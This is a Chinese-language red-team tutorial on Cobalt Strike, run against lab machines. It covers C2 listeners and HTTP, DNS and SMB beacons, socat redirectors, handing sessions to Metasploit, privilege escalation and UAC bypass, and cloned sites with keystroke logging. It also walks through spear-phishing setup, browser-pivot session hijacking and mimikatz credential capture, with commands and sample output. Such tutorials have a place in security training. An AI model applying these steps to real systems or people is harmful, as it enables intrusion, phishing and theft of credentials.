Cobalt Strike自出世以来,一直在红队常用的工具行列。因其优良的团队协作性,被冠以多人运动的必备利器。
本文将网络上各路神仙的经验分享以渗透流程为依据进行了一次整合,旨在提供工具的学习使用流程。
CS是什么?
Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
早期版本Cobalt Srtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用。
这个工具的社区版是大家熟知的Armitage(一个MSF的图形化界面工具),而Cobalt Strike大家可以理解其为Armitage的商业版。
CS的发展
测试过程常常会联动的工具
Metasploit Framework
PowerSploit
PowerTools
Veil Evasion Framework
Cobalt Strike使用C/S架构,Cobalt Strike的客户端连接到团队服务器,团队服务器连接到目标,也就是说Cobalt Strike的客户端不与目标服务器进行交互。
准备工作
Cobalt Strike的客户端想连接到团队服务器需要知道三个信息:
知道这些信息后,就可以使用脚本开启团队服务器了,值得注意的是Cobalt Strike团队服务器只能运行在Linux环境下。
开启团队服务器
开启团队服务器命令一般如下:
./teamserver your_ip your_passowrd [config_file]
服务端开启后,就可以开启客户端进行连接了
连接到团队服务器
在Linux下,直接运行start.sh脚本文件,输入团队服务器的IP、密码和自己的用户名进行连接
点击Connect连接后,会有个提示信息,如果承认提示信息中的哈希值就是所要连接团队服务器的哈希值就点击Yes,随后即可打开CS客户端界面
在Windows下的连接方法也基本一致,直接双击start.bat文件,输入IP、密码、用户名,点击Connect即可
在连接后,团队之间就可以通过客户端进行沟通,信息共享
Cobalt Strike不是用来设计指导在一个团队服务器下进行工作的,而是被设计成在一次行动中使用多个团队服务器。
这样设计的目的主要在于运行安全,如果一个团队服务器停止运行了,也不会导致整个行动的失败。
连接到多个团队服务器
Cobalt Strike连接到多个团队服务器也很简单,直接点击左上角的加号,输入其他团队服务器的信息后,即可连接
一旦监听器建立起来,团队成员只需要知道这个监听器的名称即可,不用关心监听器背后的基础环境。
一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
监听器的名字一般由以下结构组成:
Operating System/Payload/Stager
例如:
windows/beacon_http/reverse_http
创建监听器
在CS客户端中打开 Cobalt Strike —》Listeners,之后点击Add,此时弹出New Listener窗口,在填写监听器的相关信息之前,需要先来了解监听器有哪些类型。
Cobalt Strike有两种类型的监听器:
Beacon监听器的名称例如:
windows/beacon_http/reverse_http
- Foreign
Foreign直译就是外部的,可以理解成对外监听器,这种类型的监听器主要作用是给其他的Payload提供别名,比如Metasploit 框架里的Payload。
对外监听器的名称例如:
windows/foreign/reverse_https
Beacon是什么
Beacon的类型
HTTP 和 HTTPS Beacon
HTTP和HTTPS Beacon也可以叫做Web Beacon。默认设置情况下,HTTP 和 HTTPS Beacon 通过 HTTP GET 请求来下载任务。这些 Beacon 通过 HTTP POST 请求传回数据。
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
创建一个HTTP Beacon
点击 Cobalt Strike --> Listeners 打开监听器管理窗口,点击Add,输入监听器的名称、监听主机地址,因为这里是要创建一个HTTP Beacon,所以其他的默认就行,最后点击Save
此时可以测试一下刚才设置的监听器,点击Attack --> Web Drive-by --> Scripted Web Delivery(s) ,在弹出的窗口中选择刚才新添的Listener,因为我的靶机是64位的,所以我把Use x64 payload也给勾选上了,最后点击Launch
复制弹窗的命令,放到靶机中运行
此时,回到CS,就可以看到已经靶机上线了
HTTPS Beacon
HTTPS Beaocn和HTTP Beacon一样,使用了相同的Malleable C2配置文件,使用GET和POST的方式传输数据,不同点在于HTTPS使用了SSL,因此HTTPS Beacon就需要使用一个有效的SSL证书,具体如何配置可以参考:https://www.cobaltstrike.com/help-malleable-c2#validssl (opens new window)
DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。
在CS 4.0及之后的版本中,DNS Beacon是一个仅DNS的Payload,在这个Payload中没有HTTP通信模式,这是与之前不同的地方。
DNS Beacon的工作流程具体如下:
首先,CS服务器向目标发起攻击,将DNS Beacon传输器嵌入到目标主机内存中,然后在目标主机上的DNS Beacon传输器回连下载CS服务器上的DNS Beacon传输体,当DNS Beacon在内存中启动后就开始回连CS服务器,然后执行来自CS服务器的各种任务请求。
原本DNS Beacon可以使用两种方式进行传输,一种是使用HTTP来下载Payload,一种是使用DNS TXT记录来下载Payload,不过现在4.0版本中,已经没有了HTTP方式,CS4.0以及未来版本都只有DNS TXT记录这一种选择了。
*DNS Beacon拥有更高的隐蔽性,但是速度相对于HTTP Beacon什么的会更慢. *
windows/beacon_dns/reverse_dns_txt
windows/beacon_dns/reverse_http
创建一个DNS Beacon
域名配置
既然是配置域名,所以就需要先有个域名,添加一条A记录指向CS服务器的公网IP,再添加几条ns记录指向A记录域名即可。
添加一个监听器,DNS Hosts填写NS记录和A记录对应的名称,DNS Host填写A记录对应的名称 。
根据上一章的方法创建一个攻击脚本,放到目标主机中运行后,在CS客户端可以看到一个小黑框。
然后经过一段时间的等待,就可以发现已经上线了
SMB Beacon也可以叫做pipe beacon
windows/beacon_smb/bind_pipe
SMB Beacon 使用命名管道通过一个父 Beacon 进行通信。这种对等通信对同一台主机上的 Beacon 和跨网络的 Beacon 都有效。Windows 将命名管道通信封装在 SMB 协议中。因此得名 SMB Beacon。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。
SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。
SMB Beacon 配置
首先需要一个上线的主机,这里我使用的HTTP Beacon。
主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。
接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。
等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞字符。
接下来我这里将SMB Beacon插入到进程中,以vmtoolsed进程为例。
在vmtoolsed中插入SMB Beacon后,便能看到process为vmtoolsed.exe的派生SMB Beacon。
当上线主机较多的时候,只靠列表的方式去展现,就显得不太直观了,通过CS客户端中的透视图便能很好的展现。
在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的test用户为普通权限用户,因此这里给他提升一下权限。
由于CS自带的提权方式较少,因此这里就先加载一些网上的提权脚本,脚本下载地址为: https://github.com/rsmudge/ElevateKit (opens new window)
下载之后,打开Cobalt Strike --> Script Manager ,之后点击Load,选择自己刚才下载的文件中的elevate.cna文件。
接着选择要提权的主机,右击选择Access --> Elevate,Listener中选择刚才新建的SMB Beacon,这里的Exploit选择了ms14-058,如果使用ms14-058不能提权,就换一个Exploit进行尝试。
顺利的情况下,就可以看到提权后的管理员权限会话了,在管理员权限的会话中,不光用户名后有个*号,其Logo也是和其他会话不同的。
此时如果想断开某个会话的连接,可以使用unlink命令,比如如果想断开192.168.175.144,就可以在Beacon中输入
unlink 192.168.175.144
如果想再次连上,就直接输入link 192.168.175.144,想从当前主机连到其他主机也可以使用此命令。
重定向器Redirectors是一个位于CS团队服务器和目标网络之间的服务器,这个重定向器通俗的来说就是一个代理工具,或者说端口转发工具,担任CS服务器与目标服务器之间的跳板机角色,整体流量就像下面这样。
目标靶机 <-------->多个并列的重定向器<------>CS服务器
重定向器在平时的攻击或者防御的过程中起到很重要的作用,主要有以下两点:
CS服务器IP:192.168.175.129
目标靶机IP:192.168.175.130
重定向器IP:192.168.175.132、192.168.175.133
首先,需要先配置重定向器的端口转发,比如这里使用HTTP Beacon,就需要将重定向器的80端口流量全部转发到CS服务器上,使用socat的命令如下:
socat TCP4-LISTEN:80,fork TCP4:192.168.175.129:80
如果提示没有socat命令,安装一下即可。重定向器设置好之后,就新建一个HTTP Beacon,并把重定向器添加到HTTP Hosts主机列表中
此时可以测试一下重定向器是否正常工作,在CS中打开 View --> Web Log,之后浏览器访问CS服务器地址,也就是这里的192.168.175.129
可以看到CS是能够正常接收到流量的,说明重定向器已经配置OK了,此时按照上面创建一个HTTP Beacon的操作,创建一个HTTP Beacon,并在靶机中运行
当靶机上线的时候,观察靶机中的流量,可以看到与靶机连接的也是重定向器的IP
在CS中也可以看到上线主机的外部IP也是重定向器的IP,此时如果关闭一个重定向器,系统依旧可以正常工作。
“红蓝大战”持续至今,诞生了各种WAF、防火墙。各种漏洞已经很难像过去那么好被利用了,攻击者想绕过防火墙发动攻击也不是那么容易的了。
而当我们发送一个钓鱼文件到目标机上,再在目标机上打开这个文件,最后目标机穿过防火墙回连到我们的服务,此时在目标机客户端上我们就获得了一个立足点。
系统侦察System Profiler是一个方便客户端攻击的侦察工具,这个工具将会在CS服务端上启动一个Web服务,这样当目标访问这个Web服务的时候,我们就能够看到目标使用的浏览器、操作系统等等指纹信息。
设置系统侦察需要首先在自己的VPS服务器上运行CS服务端,之后本地客户端进行连接,选择System Profiler功能模块,配置待跳转的URL等信息即可。
如果勾选了Use Java Applet to get information则可以发现目标的Java版本及内网IP地址,但是这样做被发现的风险就会提高,同时现在浏览器已经默认关闭了java执行权限,因此这个选项的作用也变得不大了。不过,工控网络可以尝试一下。
配置完后,当用户打开配置后的链接,我们可以在三个地方进行观察
目标用户打开链接时,我们在CS上就能够看到目标使用的浏览器版本、系统版本等信息了,知道了版本信息,就能够进一步知道目标上可能存在什么漏洞。
值得注意的一点是如果 Cobalt Strike 的 web 服务器收到了lynx、wget 或 curl 的请求,CS会自动返回一个 404 页面,这样做是为了防御蓝队的窥探。
用户驱动攻击User-Driven Attacks需要欺骗用户产生交互才行,但也有许多的优点。
首先用户驱动攻击不包含恶意攻击代码,所以用户系统上的安全补丁是没用的;其次无论目标使用什么版本的程序,我们都可以创建相应的功能来执行;最后因为用户驱动攻击十分可靠,也使得它很完美。
当我们采取行动来追踪并需要攻击时,它就像用户本地执行程序一样,CS为我们提供了几个用户驱动攻击的选项,分别如下:
用户驱动攻击包User-Driven Attacks Packages功能打开位置:Attacks --> Packages
用户驱动Web交付攻击User-Driven Web Drive-by Attacks功能打开位置:Attacks --> Web Drive-by
首先来到Attacks --> Packages --> HTML Application创建一个HTML应用,如果没有创建监听的话,还需要创建一个监听。
HTML应用文件生成好后,来到Attacks --> Web Drive-by --> Host File,选择刚才生成的文件,最后点击Launch,复制CS创建的链接,在目标主机上打开此链接。
当该文件在目标上运行后,CS客户端上就可以看到回连的会话了。
如果想使用MSF对目标进行漏洞利用,再通过这个漏洞来传输Beacon的话,也是可以的。
操作
在CS中新建一个HTTP Beacon,创建过程不再赘述。
1、在MSF中选择攻击模块,根据教程这里选择的adobe_flash_hacking_team_uaf模块,不过个人感觉现在这个模块已经不太能被利用成功了。
use exploit/multi/browser/adobe_flash_hacking_team_uaf
2、接着配置payload,这里选择revese_http payload
set payload windows/meterpreter/revese_http
set LHOST cs_server_ip
set LPORT 80
3、之后,配置DisablePayloadHandler、PrependMigrate为 True
set DisablePayloadHandler True
set PrependMigrate True
4、最后,开始攻击。
exploit -j
在向目标发送漏洞程序之前,我们将自己进行伪装一下,这样可以更好的保护自己,同时提高成功率。CS上有个克隆网站的功能,能够较好的帮助到我们。
首先,来到Attacks --> Web Drive-by --> Clone Site下,打开克隆网站的功能,之后写入待克隆网站的URL,在Attack中写入MSF中生成的URL。
其中Log keystrokes on cloned site选项如果勾选则可以获取目标的键盘记录,记录结果在Web Log中能够查看。
之后,浏览器打开克隆站点地址,如果目标存在漏洞,就可以被利用了,同时在CS中也会观察到主机上线。
用CS进行钓鱼需要四个步骤:
目标清单
目标清单就是每行一个邮件地址的txt文件,即每行包含一个目标。
在一行中除了邮件地址也可以使用标签或一个名字。如果提供了名称,则有助于 Cobalt Strike 自定义每个网络钓鱼。
这里使用一些在线邮件接收平台的邮箱地址作为示例。
[email protected] test1
[email protected] test2
[email protected] test3
将以上内容保存为txt文本文件,就创建好了自己的目标清单。
模板
使用模板的好处在于可以重复利用,制作钓鱼模板也很简单。
首先可以自己写一封邮件发给自己,或者直接从自己收件箱挑选一个合适的。有了合适的邮件之后,查看邮件原始信息,一般在邮件的选项里能找到这个功能。最后将邮件的原始信息保存为文件,一个模板就制作完成了。
发送邮件
有了目标和模板,然后选好自己的邮件服务器,之后就可以发送消息了。
在CS客户端中,点击Attacks --> Spear Phish即可打开网络钓鱼模块。添加上目标、模板、钓鱼地址、邮箱服务、退回邮箱,其中Bounce To为退回邮件接收地址,注意要和配置邮件服务器时填的邮箱一致,否则会报错。
所有信息添加完成后,可以点击Preview查看。如果感觉效果不错,就可以点击send发送了。
当目标收到钓鱼邮件,并且点击钓鱼邮件中的链接后,如果钓鱼链接配置的没有问题,CS就能够上线了。
在真实环境中的钓鱼邮件也不会像这里这么浮夸,真实环境中的钓鱼邮件往往都伪装成和正经儿的邮件一模一样,单从表面上看很难看出区别,因此提高自己的安全意识还是很重要滴。
Beacon 控制台
在一个 Beacon 会话上右击 interact(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。
在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。
Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。
Beacon 菜单
会话传递相关命令
会话传递使用场景
1、将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。
2、将当前会话传递至MSF中,这里简单做一下演示。
首先,在MSF中,为攻击载荷新建一个payload
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
随后,在CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话。
浏览会话系统文件位置在右击会话处,选择 Explore --> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。
在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。
彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。
文件下载
下载文件都将下载到CS团队服务器中,在View --> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。
文件上传
Beacon 运行任务的方式是以jobs去运行的,比如键盘记录、PowerShell 脚本、端口扫描等,这些任务都是在 beacon check in 之间于后台运行的。
屏幕截图
键盘记录
其他
除了上述使用命令的方式进行屏幕截图和键盘记录,也可以来到Explore --> Process List下选择要注入的进程,再直接点击屏幕截图或键盘记录的功能按钮。
从使用上,具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器。
浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。如下图中,通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站的admin账户。
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore --> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。
此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。
代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面。
portscan:进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]。
目标发现discovery method有三种方法,分别是:arp、icmp、none,arp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。
右击 Beacon会话,在Explore --> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。
自 Windows vista 开始,Windows 系统引进了用户账户控制机制,即 UAC—User Account Control机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
此时系统用户可分为以下三种等级:
高:管理员权限
中:一般用户权限
低:受限制的权限
Bypass UAC 有两个步骤,分别是:
1、利用 UAC 漏洞来获取一个特权文件副本
2、使用 DLL 劫持进行代码执行
首先使用shell whoami /groups查看当前上线主机用户的所属组及 UAC 等级
通过返回信息可以看出,当前用户为管理员权限,UAC 等级为中,根据上一节中关于的介绍,此时可以使用bypassuac进行提权。
首先,右击会话,选择Access --> Elevate,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication,最后 Launch 即可。
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了。
首先,右击待提权的会话,选择Access --> Spawn As,输入目标系统用户身份信息,其中域信息填写一个“点”代表本地用户,监听器这里选择的 SMB 监听器,之后点击运行就能看到对应的用户上线了。
可参考https://blog.csdn.net/l1028386804/article/details/86089574
想要获取凭证信息,可以在管理员权限的会话处右击选择Access --> Dump Hashes,或者在控制台中使用hashdump命令。
想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access --> Run Mimikatz,或在控制台运行logonpasswords命令。
在View --> Credentials下可以查看到hashdump与mimikatz获取的数据。
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
mimikatz [module::command]
运行 mimikatz 命令
mimikatz [!module::command]
强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。
mimikatz [@module::command]
使用当前 Beacon 的访问令牌运行 mimikatz 命令
下面是一些mimikatz命令。
以上的这些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。
首先运行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz’s !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)接下来来到C:\Windows\system32目录
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytesbeacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驱动器 C 中的卷没有标签
卷的序列号是 BE29-9C84C:\Windows\system32 的目录
2020/07/23 21:47 24 mimilsa.log
1 个文件 24 字节
0 个目录 17,394,728,960 可用字节
可以看到是存在mimilsa.log文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。
查看mimilsa.log文件内容
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
通过前面的几步操作,顺利的话。基本上已经掌握了一台或多台计算机,并拥有一定的权限。接下来是扩大战果的时候,这个时候,开始需要我们对自己所在的网络有一个大致的了解,避免自己“迷路”。
以下为windows环境下的一般操作思路、工具的参考记录。
以下命令是在主机中运行的结果,在 Cobalt Strike 中运行只需要根据命令类型在命令前加上 shell 或者 powershell。
当进入目标局域网时,需要弄清楚几个问题。
1、我正处在那个域上?
2、域信任关系是什么样的?
3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?
4、系统上存放共享数据的地方在哪里?